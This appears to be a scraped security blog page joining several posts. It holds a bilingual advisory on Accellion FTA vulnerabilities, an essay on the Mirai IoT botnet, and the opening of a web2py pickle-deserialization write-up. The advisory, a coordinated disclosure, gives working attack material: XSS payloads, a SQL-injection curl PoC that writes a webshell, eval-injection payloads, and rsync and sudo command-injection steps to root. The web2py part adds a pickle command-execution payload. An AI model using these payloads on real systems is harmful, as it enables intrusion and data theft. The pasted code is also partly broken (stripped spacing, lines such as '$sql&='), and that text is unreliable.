$db=DB_MASTER.$g_app_id;if(!@mysql_select_db($db))

mysql_select_db中所開啟資料庫的名稱由使用者可控，如給錯誤的值將導致程式無法繼續執行下去，所以必須將 $g_app_id偽造成正確的內容。

接著是最主要的函數 client_properties( $client_id )

functionclient_properties($client_id='',$user='',$manager='',$client_type=0,$client_name='',$order_by='client_id',$order_type='a',$limit='',$offset='',$exclude_del=1,$user_type='',$user_status=''){$sql=($user_type=''?'SELECT t_mail_server.* FROM t_mail_server ':'SELECT t_mail_server.*, t_profile.c_flag as profile_flag FROM t_mail_server, t_profile ');$filter['client_id']=$client_id;$filter['client_name']=$client_name;$filter['client_type']=$client_type;$filter['user']=mysql_escape_like($user);$filter['user_type']=$user_type;$filter['manager']=$manager;$filter['user_status']=$user_status;$sql&=construct_where_clause($filter,$exclude_del);// ...$result=array();@mysql_query($sql);($db_result=||fatal_error('exec:mysql_query('.$sql.') respond:'.mysql_error(),__FILE__,221));

functionconstruct_where_clause($filter,$exclude_del=1){$where_clause=array();$where_clause[]='c_server_id  != \'999\'';if($exclude_del){$where_clause[]='!(t_mail_server.c_flag & '.CLIENT_DELETED.')';}if($filter['client_id']!=''){$where_clause[]='c_server_id = \''.$filter['client_id'].'\'';}if($filter['manager']!=''){$filter['manager']=mysql_real_escape_string($filter['manager']);$where_clause[]='c_manager = \''.$filter['manager'].'\'';}if($filter['client_name']!=''){$filter['client_name']=mysql_real_escape_string($filter['client_name']);$where_clause[]='t_mail_server.c_name LIKE \'%'.$filter['client_name'].'%\'';}if(($filter['user']!=''&&$filter['user']!='%%')){$filter['user']=mysql_real_escape_string($filter['user']);$where_clause[]='t_mail_server.c_user_id LIKE \''.$filter['user'].'\'';}

client_properties( ... )中會將所傳進的參數進行 SQL 語句的拼裝，而 construct_where_clause( ... )為最關鍵的一個函數。在 construct_where_clause( ... )中可以看到參數皆使用 mysql_real_escape_string來防禦但唯獨缺少 $client_id，從原始碼的 Coding Style 觀察猜測應該是開發時的疏忽，因此根據程式流程送出對應的參數即可觸發 SQL Injection。

此外，在 FTA 中資料庫使用者為 root 具有 FILE_PRIV 權限，因此可使用 INTO OUTFILE撰寫自己 PHP 代碼至可寫目錄達成遠端代碼執行！

PoC

$ curl https://<fta>/courier/1000@/security_key2.api -d "aid=1000&user_id=1&password=1&client_id=' OR 1=1 LIMIT 1 INTO OUTFILE '/home/seos/courier/themes/templates/.cc.php' LINES TERMINATED BY 0x3c3f...#"

生成的 PHP 檔案位置在

http://<fta>/courier/themes/templates/.cc.php

Known Secret-Key leads to Remote Code Execution

在前個弱點中，要達成遠端代碼執行還有一個條件是要存在可寫目錄，但現實中有機率找不到可寫的目錄放置 Webshell，因此無法從 SQL Injection 達成代碼執行，不過這時有另外一條路可以幫助我們達成遠端代碼執行。

這個弱點的前提條件是 已知資料庫中所存的加密 KEY

這點對我們來說不是問題，從前面的 SQL Injection 弱點可任意讀取資料庫內容，另外雖然在程式碼中有對參數進行一些過濾，但那些過濾是可以繞過的！

/home/seos/courier/sfUtils.api

$func_call=decrypt($_POST['fc']);$orig_func='';if(preg_match('/(.+)\(.*\)/',$func_call,$func_match)){$orig_func=$func_call;$func_call=$func_match[1];}$cs_method=array('delete_session_cache','delete_user_contact','valid_password','user_password_update_disallowed','user_password_format_disallowed','get_user_contact_list','user_email_verified','user_exist_allow_direct_download','user_profile_auth');if((!$func_call||!in_array($func_call,$cs_method))){returnfalse;}if($orig_func){$func_call=$orig_func;}if($func_call=='get_user_contact_list'){if(!$_csinfo['user_id']){returnfalse;}if(preg_match('/[\\\/"\*\:\?\<\>\|&]/',$_POST['name'])){returnfalse;}$func_call='echo(count('.$func_call.'("'.$_csinfo['user_id'].'", array("nickname"=>"'.addslashes($_POST['name']).'"))));';}else{if(isset($_POST['p1'])){$func_param=array();$p_no=7;while(isset($_POST['p'.$p_no])){$func_param[]=str_replace('\'','\\\'',str_replace('$','\\$',addslashes($_POST['p'.$p_no])));++$p_no;}$func_call='echo('.$func_call.'("'.join('", "',$func_param).'"));';}}echo@eval($func_call);

如果已知加密 KEY 的話，即可控制 decrypt( $_POST[fc] )的輸出，而後面的正規表示式雖然針對函數名稱進行白名單過濾，但是沒對參數進行過濾，如此一來我們可以在參數的部分插入任意代碼，唯一的條件就是不能有 ()出現，但由於 PHP 的鬆散特性，玩法其實很多，這裡列舉兩個：

直接透過反引號執行系統指令：

user_profile_auth(`$_POST[cmd]`);

更優雅的方式可以透過 include 語法引入上傳檔案的 tmp_name，這樣各種保護都不用擔心：

user_profile_auth(include $_FILES[file][tmp_name]);

Local Privilege Escalation (CVE-2016-2352 and CVE-2016-2353)

在取得 PHP 網頁權限後，發現所屬權限為 nobody，為了進行更深入的研究，在對環境進行審視後，發現兩個可用來提升權限之弱點。

1. Rsync 配置錯誤

/etc/opt/rsyncd.conf

logfile=/home/soggycat/log/kennel.log...[soggycat]path=/home/soggycatuid=soggycatreadonly=falselist=false...

其中模組名稱 soggycat 對 /home/soggycat/為任何人可讀可寫，所以可將 SSH Key 寫至 /home/soggycat/.ssh/ 後以 soggycat 身分登入

bash-3.2$ id
uid=99(nobody)gid=99(nobody)groups=99(nobody)

bash-3.2$ rsync 0::soggycat/.ssh/
drwx------        4096 2016/01/29 18:13:41 .
-rw-r--r--         606 2016/01/29 18:13:41 authorized_keys

bash-3.2$ rsync 0::soggycat/.ssh/authorized_keys .
bash-3.2$ cat id_dsa.pub >> authorized_keys
bash-3.2$ rsync authorized_keys 0::soggycat/.ssh/

bash-3.2$ ssh -i id_dsa -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no soggycat@localhost id
Could not create directory '/.ssh'.
Warning: Permanently added '0,0.0.0.0'(RSA) to the list of known hosts.
uid=520(soggycat)gid=99(nobody)groups=99(nobody)

2. Command Injection in “yum-client.pl”

在 FTA 中，為了使系統可以直接透過網頁介面進行更新，因此在 sudoers 配置中特別針對 nobody 用戶允許直接使用 root 權限執行指令，並透過 yum-client.pl這隻程式進行軟體更新

/etc/sudoers

...
Cmnd_Alias      YUM_UPGRADE = /usr/bin/yum -y upgrade
Cmnd_Alias      YUM_CLIENT = /usr/local/bin/yum-client.pl
...
# User privilege specificationrootALL=(ALL) ALLadminALL =NOPASSWD: UPDATE_DNS, UPDATE_GW, UPDATE_NTP, RESTART_NETWORK, CHMOD_OLDTEMP ...
nobodyALL =NOPASSWD: SSL_SYSTEM, ADMIN_SYSTEM, IPSEC_CMD, YUM_CLIENT
soggycatALL =NOPASSWD: ADMIN_SYSTEM, IPSEC_CMD, CHOWN_IPSEC, UPDATE_IPSEC, YUM_CLIENT
radminALL =NOPASSWD: RESET_APPL
...

其中 YUM_CLIENT 就是進行更新的指令，部分代碼如下：

/usr/local/bin/yum-client.pl

...GetOptions('help'=>\$help,'download_only'=>\$download_only,'list'=>\$list,'cache'=>\$cache,'clearcache'=>\$clearcache,'cdrom=s'=>\$cdrom,'appid=s'=>\$appid,'servername=s'=>\$servername,'version=s'=>\$version,'token=s'=>\$token);my$YUM_CMD="/usr/bin/yum";if($cache){$YUM_CMD="$YUM_CMD -C";}# if this is based on RHEL 5, change the repositorymy$OS=`grep -q 5 /etc/redhat-release && echo -n 5`;my$LOGFILE="/home/seos/log/yum-client.log";my$STATUSFILE="/home/seos/log/yum-client.status";my$YUMCONFIG="/etc/yum.conf";my$YUMDIFF_FILE='/home/seos/log/yum.diff';if($cdrom){if($OSeq"5"){$YUM_CMD="$YUM_CMD -c $cdrom_path/yum.conf-5";}else{$YUM_CMD="$YUM_CMD -c $cdrom_path/yum.conf";}system("mkdir -p /mnt/cdrom && mount -o loop $cdrom $cdrom_path")==0orfdielog($LOGFILE,"unable to mount: $!");}

深入觀察 yum-client.pl後可發現在 --cdrom參數上存在 Command Injection，使得攻擊者可將任意指令插入參數內並以 root 身分執行

所以使用如下指令：

bash-3.2$ id
uid=99(nobody)gid=99(nobody)groups=99(nobody)

bash-3.2$ sudo /usr/local/bin/yum-client.pl --cdrom='$(id > /tmp/.gg)'
mount: can't find /mnt/cdrom in /etc/fstab or /etc/mtab
unable to mount: Bad file descriptor at /usr/local/bin/yum-client.pl line 113.


bash-3.2$ cat /tmp/.gg
uid=0(root)gid=0(root)groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

即可以 root 身分執行任意指令！

後門

在取得最高權限後，開始對伺服器進行一些審視時，發現已有幾款後門藏在 FTA 主機中了，經過研究後首先確認一款 IRC BOT 為 Niara 所發布的弱點報告中有提及，此外，額外發現兩款不同類型的 PHP Webshell 並無在公開的報告中發現，透過 Apache Log 時間推測應該是透過 2015 年中的 CVE-2015-2857 所放置之後門。

PHPSPY 後門，全球 1217 台存活主機上共發現 62 台，放置路徑於：

https://<fta>/courier/themes/templates/Redirector_Cache.php

WSO 後門，全球 1217 台存活主機上共發現 9 台，放置路徑於：

https://<fta>/courier/themes/templates/imag.php

致謝

這份 Advisory 所提及的弱點為在 2016 二月時參加 Facebook Bug Bounty 時尋找到的，詳情可參考文章《滲透 Facebook 的思路與發現》，找到弱點的當下立即回報包括 Accellion 及 Facebook，Accellion 並在 2/12 號將此份弱點記錄在 FTA_9_12_40 並通知所有受影響的客戶安裝修補程式。

感謝 Facebook 以及 Accellion 的迅速反應跟配合 : )

Timeline

2016/02/06 05:21 聯絡 Accellion 詢問何處可回報弱點
2016/02/07 12:35 將報告寄至 Accellion Support Team
2016/03/03 03:03 Accellion Support Team 通知會在 FTA_9_12_40 修復
2016/05/10 15:18 詢問將撰寫 Advisory 許可及通知發現兩款後門存在
2016/06/06 10:20 雙方討論定稿

參考

By Orange Tsai

English Version (English Version)
中文版本 (中文版本)

Accellion

About Accellion FTA

Accellion File Transfer Appliance (FTA) is a secure file transfer service which enables users to share and sync files online with AES 128/256 encryption. The Enterprise version further incorporates SSL VPN services with integration of Single Sign-on mechanisms like AD, LDAP and Kerberos.

Vulnerability Details

In this research, the following vulnerabilities were discovered on the FTA version FTA_9_12_0 (13-Oct-2015 Release)

Cross-Site Scripting x 3
Pre-Auth SQL Injection leads to Remote Code Execution
Known-Secret-Key leads to Remote Code Execution
Local Privilege Escalation x 2

The above-mentioned vulnerabilities allow unauthenticated attackers to remotely attack FTA servers and gain highest privileges successfully. After the attackers fully controlled the servers, they will be able to retrieve the encrypted files and user data, etc.

After reporting to CERT/CC, these vulnerabilities were assigned 4 CVEs (CVE-2016-2350, CVE-2016-2351, CVE-2016-2352, CVE-2016-2353).

Areas Affected

According to a public data reconnaissance, there are currently 1,217 FTA servers online around the world, most of which are located in the US, followed by Canada, Australia, UK, and Singapore.
Determine from the domain name and SSL Certificate of these servers, FTA is widely used by governmental bodies, educational institutions, enterprises, including several well-known brands.

Vulnerability Analysis and Exploitation

Multiple Cross-Site Scripting (CVE-2016-2350)

1. XSS in move_partition_frame.html

https://<fta>/courier/move_partition_frame.html
?f2=’-prompt(document.domain);//

2. XSS in getimageajax.php

https://<fta>/courier/web/getimageajax.php
?documentname=”onerror=”prompt(document.domain)//

3. XSS in wmInfo.html

https://<fta>/courier/web/wmInfo.html
?msg=ssologout
&loginurl=”><svg/onload=”prompt(document.domain)

Pre-Auth SQL Injection leads to RCE (CVE-2016-2351)

After code reviewing, a pre-authentication SQL Injection vulnerability was found in FTA. This vulnerability grants malicious users access to sensitive data and personal information on the server through SQL Injection, and launch remote code execution (RCE) by further exploiting privilege-escalating vulnerabilities.
The key to this problem lies in the client_properties( ... ) function called by security_key2.api!

/home/seos/courier/security_key2.api

// ...$password=_decrypt($password,_generate_key($g_app_id,$client_id,$g_username));opendb();$client_info=client_properties($client_id)[0];// ...

Among these parameters, $g_app_id$g_username$client_id and $password are controllable by the attackers. And although the function _decrypt( ... ) handles the passwords, it does not involve in the triggering of the vulnerability.
One thing to pay special attention is that the value of $g_app_id will be treated as a global variable which represents the current Application ID in use, and will be applied in opendb( ) accordingly. The code in opendb( ) includes the following lines:

$db=DB_MASTER.$g_app_id;if(!@mysql_select_db($db))

In mysql_select_db, the name of the database to be opened is controllable by the user. If wrong value was given, the program will be interrupted. Therefore, $g_app_id must be forged correctly.

The following lines are the most important function client_properties( $client_id ).

functionclient_properties($client_id='',$user='',$manager='',$client_type=0,$client_name='',$order_by='client_id',$order_type='a',$limit='',$offset='',$exclude_del=1,$user_type='',$user_status=''){$sql=($user_type=''?'SELECT t_mail_server.* FROM t_mail_server ':'SELECT t_mail_server.*, t_profile.c_flag as profile_flag FROM t_mail_server, t_profile ');$filter['client_id']=$client_id;$filter['client_name']=$client_name;$filter['client_type']=$client_type;$filter['user']=mysql_escape_like($user);$filter['user_type']=$user_type;$filter['manager']=$manager;$filter['user_status']=$user_status;$sql&=construct_where_clause($filter,$exclude_del);// ...$result=array();@mysql_query($sql);($db_result=||fatal_error('exec:mysql_query('.$sql.') respond:'.mysql_error(),__FILE__,221));

functionconstruct_where_clause($filter,$exclude_del=1){$where_clause=array();$where_clause[]='c_server_id  != \'999\'';if($exclude_del){$where_clause[]='!(t_mail_server.c_flag & '.CLIENT_DELETED.')';}if($filter['client_id']!=''){$where_clause[]='c_server_id = \''.$filter['client_id'].'\'';}if($filter['manager']!=''){$filter['manager']=mysql_real_escape_string($filter['manager']);$where_clause[]='c_manager = \''.$filter['manager'].'\'';}if($filter['client_name']!=''){$filter['client_name']=mysql_real_escape_string($filter['client_name']);$where_clause[]='t_mail_server.c_name LIKE \'%'.$filter['client_name'].'%\'';}if(($filter['user']!=''&&$filter['user']!='%%')){$filter['user']=mysql_real_escape_string($filter['user']);$where_clause[]='t_mail_server.c_user_id LIKE \''.$filter['user'].'\'';}

The parameters passed onto the function client_properties( ... ) will be assembled into SQL statements. Among all the functions joining the assembling, construct_where_clause( ... ) is the most crucial one.
In the function construct_where_clause( ... ), every parameter is protected by the string mysql_real_escape_string except for $client_id. Judging from the coding style of the source code, it might be a result of oversight. Therefore, SQL Injection can be triggered by sending out corresponding parameters according to the program flow.

In addition, FTA database user has root privileges with FILE_PRIV option enabled. By exploiting INTO OUTFILE and writing their own PHP code to write-enabled directory, user will be able to execute code remotely!

PoC

$ curl https://<fta>/courier/1000@/security_key2.api -d "aid=1000&user_id=1&password=1&client_id=' OR 1=1 LIMIT 1 INTO OUTFILE '/home/seos/courier/themes/templates/.cc.php' LINES TERMINATED BY 0x3c3f...#"

The created PHP file will be located at

http://<fta>/courier/themes/templates/.cc.php

Known-Secret-Key leads to Remote Code Execution

In the previous vulnerability, one requirement to execute code remotely is the existence of a write-enabled directory for injecting webshell. But in reality, chances are there is no write-enabled directory available, thus fail to execute code through SQL Injection. But there is another way to help us accomplish RCE.

The precondition of this vulnerability is Known-Secret-Key stored in the database

This is not a problem, since the database can be accessed with the SQL Injection vulnerability mentioned earlier. Also, although there are some parameter filters in the code, they can be bypassed!

/home/seos/courier/sfUtils.api

$func_call=decrypt($_POST['fc']);$orig_func='';if(preg_match('/(.+)\(.*\)/',$func_call,$func_match)){$orig_func=$func_call;$func_call=$func_match[1];}$cs_method=array('delete_session_cache','delete_user_contact','valid_password','user_password_update_disallowed','user_password_format_disallowed','get_user_contact_list','user_email_verified','user_exist_allow_direct_download','user_profile_auth');if((!$func_call||!in_array($func_call,$cs_method))){returnfalse;}if($orig_func){$func_call=$orig_func;}if($func_call=='get_user_contact_list'){if(!$_csinfo['user_id']){returnfalse;}if(preg_match('/[\\\/"\*\:\?\<\>\|&]/',$_POST['name'])){returnfalse;}$func_call='echo(count('.$func_call.'("'.$_csinfo['user_id'].'", array("nickname"=>"'.addslashes($_POST['name']).'"))));';}else{if(isset($_POST['p1'])){$func_param=array();$p_no=7;while(isset($_POST['p'.$p_no])){$func_param[]=str_replace('\'','\\\'',str_replace('$','\\$',addslashes($_POST['p'.$p_no])));++$p_no;}$func_call='echo('.$func_call.'("'.join('", "',$func_param).'"));';}}echo@eval($func_call);

If Known-Secret-Key has been acquired, the output of decrypt( $_POST[fc] ) will be controllable. And despite that the succeeding regular expressions work as a function name whitelist filter, they do not filter parameters.
Therefore, the only restriction for injecting random codes in the parameters is to exclude () in the strings. But thanks to the flexible characteristic of PHP, there are lots of ways to manipulate, just to name two examples here.

Execute system commands directly by using backticks (`)

user_profile_auth(`$_POST[cmd]`);

A more elegant way: use the syntax INCLUDE to include the tmp_name of the uploaded files, so that any protection will give way.

user_profile_auth(include $_FILES[file][tmp_name]);

Local Privilege Escalation (CVE-2016-2352 and CVE-2016-2353)

After gaining PHP page privileges, we discovered that the privileges were assigned to user nobody. In order to engage in advanced recon, the web environment had been observed. After the observation, two possible privilege escalation vulnerabilities were identified.

1. Incorrect Rsync Configuration

/etc/opt/rsyncd.conf

logfile=/home/soggycat/log/kennel.log...[soggycat]path=/home/soggycatuid=soggycatreadonly=falselist=false...

The module name soggycat is readable and writable to anyone for the directory /home/soggycat/, therefore the SSH Key can be written into /home/soggycat/.ssh/ and then use the soggycat credential to login.

bash-3.2$ id
uid=99(nobody)gid=99(nobody)groups=99(nobody)

bash-3.2$ rsync 0::soggycat/.ssh/
drwx------        4096 2016/01/29 18:13:41 .
-rw-r--r--         606 2016/01/29 18:13:41 authorized_keys

bash-3.2$ rsync 0::soggycat/.ssh/authorized_keys .
bash-3.2$ cat id_dsa.pub >> authorized_keys
bash-3.2$ rsync authorized_keys 0::soggycat/.ssh/

bash-3.2$ ssh -i id_dsa -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no soggycat@localhost id
Could not create directory '/.ssh'.
Warning: Permanently added '0,0.0.0.0'(RSA) to the list of known hosts.
uid=520(soggycat)gid=99(nobody)groups=99(nobody)

2. Command Injection in “yum-client.pl”

To enable system updates through web UI, the sudoers configuration in FTA exceptionally allows the user nobody to directly execute commands with root privileges and update software with the program yum-client.pl.

/etc/sudoers

...
Cmnd_Alias      YUM_UPGRADE = /usr/bin/yum -y upgrade
Cmnd_Alias      YUM_CLIENT = /usr/local/bin/yum-client.pl
...
# User privilege specificationrootALL=(ALL) ALLadminALL =NOPASSWD: UPDATE_DNS, UPDATE_GW, UPDATE_NTP, RESTART_NETWORK, CHMOD_OLDTEMP ...
nobodyALL =NOPASSWD: SSL_SYSTEM, ADMIN_SYSTEM, IPSEC_CMD, YUM_CLIENT
soggycatALL =NOPASSWD: ADMIN_SYSTEM, IPSEC_CMD, CHOWN_IPSEC, UPDATE_IPSEC, YUM_CLIENT
radminALL =NOPASSWD: RESET_APPL
...

YUM_CLIENT is the command for proceeding updates. Part of the codes are as follows:

/usr/local/bin/yum-client.pl

...GetOptions('help'=>\$help,'download_only'=>\$download_only,'list'=>\$list,'cache'=>\$cache,'clearcache'=>\$clearcache,'cdrom=s'=>\$cdrom,'appid=s'=>\$appid,'servername=s'=>\$servername,'version=s'=>\$version,'token=s'=>\$token);my$YUM_CMD="/usr/bin/yum";if($cache){$YUM_CMD="$YUM_CMD -C";}# if this is based on RHEL 5, change the repositorymy$OS=`grep -q 5 /etc/redhat-release && echo -n 5`;my$LOGFILE="/home/seos/log/yum-client.log";my$STATUSFILE="/home/seos/log/yum-client.status";my$YUMCONFIG="/etc/yum.conf";my$YUMDIFF_FILE='/home/seos/log/yum.diff';if($cdrom){if($OSeq"5"){$YUM_CMD="$YUM_CMD -c $cdrom_path/yum.conf-5";}else{$YUM_CMD="$YUM_CMD -c $cdrom_path/yum.conf";}system("mkdir -p /mnt/cdrom && mount -o loop $cdrom $cdrom_path")==0orfdielog($LOGFILE,"unable to mount: $!");}

After taking a closer look on ymm-client.pl, a Command Injection vulnerability was found on the parameter --cdrom. This vulnerability enables attackers to inject any commands into the parameter and execute as root.

Thus, using the commands below

bash-3.2$ id
uid=99(nobody)gid=99(nobody)groups=99(nobody)

bash-3.2$ sudo /usr/local/bin/yum-client.pl --cdrom='$(id > /tmp/.gg)'

mount: can't find /mnt/cdrom in /etc/fstab or /etc/mtab
unable to mount: Bad file descriptor at /usr/local/bin/yum-client.pl line 113.

bash-3.2$ cat /tmp/.gg
uid=0(root)gid=0(root)groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

will grant execution freely as root!

Backdoor

After gaining the highest privilege and carrying out server recon, we identified that several backdoors had been already planted in FTA hosts. One of them is an IRC Botnet which had been mentioned in Niara’s Accellion File Transfer Appliance Vulnerability.
Apart from that, two additional PHP Webshells of different types which had NEVER been noted in public reports were also identified. Through reviewing Apache Log, these backdoors might be placed by exploiting the CVE-2015-2857 vulnerability discovered in mid-2015.

One of the backdoors is PHPSPY, it is found on 62 of the online hosts globally. It was placed in

https://<fta>/courier/themes/templates/Redirector_Cache.php

The other is WSO, found on 9 of the online hosts globally, placed in

https://<fta>/courier/themes/templates/imag.php

Acknowledgement

The vulnerability mentioned in this Advisory was identified in early 2016 while looking for vulnerabilities in Facebook, you can refer to the article “How I Hacked Facebook, and Found Someone’s Backdoor Script”.
Upon discovering the FTA vulnerability in early February, I notified Facebook and Accellion and both were very responsive. Accellion responded immediately, issuing patch FTA_9_12_40 on February 12th and notifying all affected customers about the vulnerability and instructions to install the patch. Accellion has been very communicative and cooperative throughout this process.

Timeline

Feb 6, 2016 05:21 Contact Accellion for vulnerability report
Feb 7, 2016 12:35 Send the report to Accellion Support Team
Mar 3, 2016 03:03 Accellion Support Team notifies patch will be made in FTA_9_12_40
May 10, 2016 15:18 Request Advisory submission approval and report the new discovery of two backdoors to Accellion
Jun 6, 2016 10:20 Advisory finalized by mutual consent

References

mirai

萬物皆聯網成為萬物皆可駭

2016年10月21日知名網路服務 Dyn 遭受殭屍網路發動三波巨大規模 DDoS 攻擊，世界各大網站服務皆因為此攻擊而中斷，包括 Amazon、Twitter、Github、PayPal 等大型網站都因此受到影響。資安人員研究發現，本次 DDoS 攻擊的發起者未明，但多數攻擊流量來自殭屍網路「Mirai」，利用 IPCAM、CCTV、DVR、IoT 裝置等系統進行 DDoS 攻擊。為什麼這些設備會成為攻擊的幫凶呢？我們又該如何自保呢？

一個攻擊事件，一定有背後的原因。攻擊者一定是有所求，才會進行攻擊，可能是求名、求利或求樂趣。因為 DDoS 攻擊會直接影響目標系統的運作，對系統營運造成影響，在黑色產業的循環中通常會利用這種攻擊來勒索錢財。例如針對營運線上遊戲的公司進行 DDoS 攻擊，讓遊戲服務中斷，逼迫企業將主機的連線花錢「贖」回來。但 Dyn 這次的事件各家都沒有收到類似的勒索信，因此資安專家們推測，這可能是一次練兵，或者甚至是 DDoS 攻擊服務的行銷手法。如果我們用黑色產業的角度去思考一個攻擊行為，就會有截然不同的看法。試想，如果這是一次駭客組織的商業行銷行為，目的是展現這個團隊的 DDoS 攻擊火力，這樣的成果是否可以稱作是一個成功案例呢？如果你是服務購買者，是否對這樣的服務有信心呢？

利用 IoT 裝置及網通設備佈建殭屍網路 (botnet) 已經不是新聞。Internet Census 2012 是一次資安圈的大事件，一個稱為 Carna 的 botnet 利用了全世界 42 萬台裝置，掃描全世界整個 IPv4 設備，蒐集 IP 使用狀況、連接埠、服務標頭等資訊，並且提供共計 9TB 資料開放下載研究。而這個 botnet 多數利用路由器 (router) 的漏洞，利用預設密碼、空密碼登入設備，植入後門供攻擊者控制。而後的幾次大型攻擊事件都與 IoT 及嵌入式裝置有關係，讓 IoT 的口號「萬物皆聯網」成為「萬物皆可駭」，也讓資安研究人員對於研究這類型設備趨之若鶩。近年智慧車輛不斷發展，國際間也不少智慧車輛被駭的事件。車輛被駭影響的就不單是資訊系統，更會波及人身安全甚至整個城市的交通，資安考量的影響也遠比以前嚴重。

連網裝置成為駭客下手的主要原因

究竟是怎樣的安全漏洞讓攻擊者這麼輕易利用呢？目前攻擊者及 botnet 多數利用的還是使用預設密碼、或甚至是沒有設定密碼的裝置。網站 Insecam揭露了全世界數萬支未修改密碼的攝影機，再再顯示不少民眾或公司行號購買了監視器，卻沒有健全的資安意識，讓監視器暴露於全世界之中。更多攝影機、監視器等的資安議題可以參考我們的文章「網路攝影機、DVR、NVR 的資安議題 - 你知道我在看你嗎？」。除了預設密碼之外，設備中的後門也是一個大問題。不少路由器、無線基地台廠商被爆出系統中含有測試用的登入帳號，該帳號無法關閉、無法移除，且容易被攻擊者進行研究取得。除了等待廠商升級韌體來修補該問題之外，沒有其他解法，因此成為攻擊者大量取得控制權的方式之一。

IoT 裝置為什麼會成為攻擊者下手的目標呢？我們可以分成幾點來探討。

第一，嵌入式裝置以往的設計都是不連網，IoT 的風潮興起之後，各廠商也為了搶市場先機，加速推出產品，將原本的產品加上網路功能，甚至 App 控制功能。而求快的結果就是犧牲資安考量，加上廠商可能原本並非網路專長，也沒有足夠的資安人員檢視安全性，導致設計出來的產品資安漏洞層出不窮。產品的設計必須嚴守 Security by Design 的原則，在開發初期的每個環節都納入資安考量，並且遵守 Secure Coding 規範，避免在產品後期疊床架屋，造成要釐清資安問題的根源更難如登天。

第二，產品的更新機制問題。IoT 裝置的更新機制在早期並沒有謹慎考量，需要使用者自行下載韌體更新，甚至有些裝置必須回廠才能進行更新。不少使用者只要產品沒有出問題，並不會主動進行韌體更新，甚至覺得更新只會造成更多問題。在沒有便利更新機制的情況之下，設備的資安問題更難以被妥善處理。近期因為資安事件頻傳，FOTA (Firmware Over-The-Air) 機制才逐漸被重視，但其他資安問題也隨即而來。如何確保韌體的完整性？如何防止攻擊者下載韌體進行研究修改？這些都是廠商需要不斷去反覆思量的。

第三，敵暗我明，也是我們認為最重要的一點。我們認為資安就是攻擊者與防禦者的一場資訊不對稱戰爭，防禦者（廠商）通常只會憑藉著自己的知識跟想像進行防禦，但卻不知道攻擊者的思維跟手法。就像春秋時代公輸般，建造雲梯協助楚國攻擊宋國的城池。唯有了解攻擊者，化解這個不對稱的資訊，才能有效的進行防禦，如同墨子了解雲梯的攻擊方式，模擬各種對應防禦的手法，才成功讓楚王放棄攻擊。不僅是 IoT 廠商，所有企業都必須了解攻擊者的思維、手法，知曉這個黑色產業的運作，甚至針對攻擊的方式進行模擬演練，將每一個防禦的缺口補足，才可以正面迎戰攻擊者。

設備商避免成為幫凶，消費者也應自保

身為使用者，我們該如何確認自己的設備有沒有被感染呢？若被感染該怎麼有效清除呢？建議先搜尋網路上目前已公開有漏洞的廠牌及型號，若在問題清單之內，先將整台設備備份設定後，回復原廠初始設定，以確保攻擊者放置的惡意程式都被清除。接著更新廠商所釋出的新版韌體，並記得在更新安裝完畢後立即更換密碼以防二度被入侵。若廠商無釋出更新，可能是資安不被重視，也可能是廠商已經結束營運。如果還是選擇要使用這個設備，建議將設備轉放在內部網路，或者是在前面增加防禦設備，避免攻擊者入侵。

至於廠商該怎麼跟上資安的腳步呢？我們認為目前廠商最重要的就是資安意識。這已經是老生常談，以往網路產業逐漸重視資安，但跨入網路的其他資訊產業恐怕還沒意識到資安的嚴重性。凡舉傳統家電轉為智慧家電、車輛轉為智慧車輛、甚至基礎建設也逐漸資訊化的現在，若這些踏入網路的產業沒有相對應的資安意識，恐怕很難在初期就預防風險的發生。企業也必須盤點風險的所在，透過人工滲透測試模擬攻擊者的攻擊思維及路徑，如同軍事演習一般，將入侵的途徑一一封鎖。我們認為 IoT 等嵌入式裝置、智慧家電、甚至網通資安設備本身，未來都會是駭客組織攻擊的對象，利用更新的困難度跟管理者的疏於管理，建置一個個大規模殭屍大軍，成為未來戰爭的棋子。我們期許未來廠商建構產品時，都能優先納入資安考量，不成為黑色產業的幫凶，也讓國際認可台灣產品是資安至上的優良品質。

web2py

前言

在一次滲透測試的過程中，我們遇到了用 web2py 框架建構的應用程式。為了成功滲透目標，我們研究了 web2py，發現該框架範例應用程式中存在三個資訊洩漏問題，這些洩漏都會導致遠端命令執行 (RCE)。由於範例應用程式預設是開啟的，若沒有手動關閉，攻擊者可以直接利用洩漏資訊取得系統執行權限。這些問題編號分別為：CVE-2016-3952、CVE-2016-3953、CVE-2016-3954、CVE-2016-3957。

背景－老生常談的 Pickle Code Execution

在繼續說明前必須要先認知什麼是反序列化的安全問題？反序列化的安全問題在本質上其實是物件注入，它的嚴重性取決於所注入的物件本身是否會造成危險行為，例如讀寫檔。一般來說要透過反序列化建構一個成功的攻擊有兩個要點：

是否可控制目標所要反序列化的字串。
危險行為在反序列化後是否會被執行。這在實務上大概有下面兩種情形：
- 危險行為是寫在魔法方法 (Magic Method) 裡面，例如 PHP 的 __construct 在物件生成時一定會執行。
- 反序列化後覆蓋既有物件，導致正常程式流程出現危險結果。

反序列化的問題在每個程式語言都會發生，但通常需要搭配看程式碼拼湊出可以用的攻擊流程，比較難利用。不過，某些實作序列化的函式庫會將程式邏輯也序列化成字串，因此攻擊者可以自定義物件直接使用，不再需要拼湊，例如今天要提的 Python Pickle。

直接舉個 Pickle 的例子如下，我們製造了一個會執行系統指令 echo success的物件 Malicious，並且序列化成字串 "cposix\nsystem\np1\n(S'echo success'\np2\ntp3\nRp4\n."。當受害者反序列化這個字串，即觸發執行該系統指令，因此印出 success。

>>>importos>>>importcPickle>>>classMalicious(object):...def__reduce__(self):...return(os.system,("echo success",))...>>>serialize=cPickle.dumps(Malicious())>>>serialize"cposix\nsystem\np1\n(S'echo success'\np2\ntp3\nRp4\n.">>>cPickle.loads(serialize)success0

這就是 Pickle 誤用反序列化所造成的命令執行風險。攻擊者很容易可以產生一個含有任意命令執行的序列化字串，進而讓受害者在進行反序列化的過程中觸發執行惡意命令。

反序列化＋序列化字串可控

本次發現的問題主要來自 web2py 本身的 session cookie 使用 Pickle 處理序列化需求 (CVE-2016-3957)，而且因為 session cookie 的加密字串固定 (CVE-2016-3953)，攻擊者可任意偽造惡意的序列化字串造成前面所介紹的命令執行風險。細節如下。

CVE-2016-3957¹

web2py 的應用程式如果使用 cookie 來儲存 session 資訊，那麼在每次接到使用者請求時會將 session cookie 用一個 secure_loads 函式將 cookie 內容讀入。 [Ref]

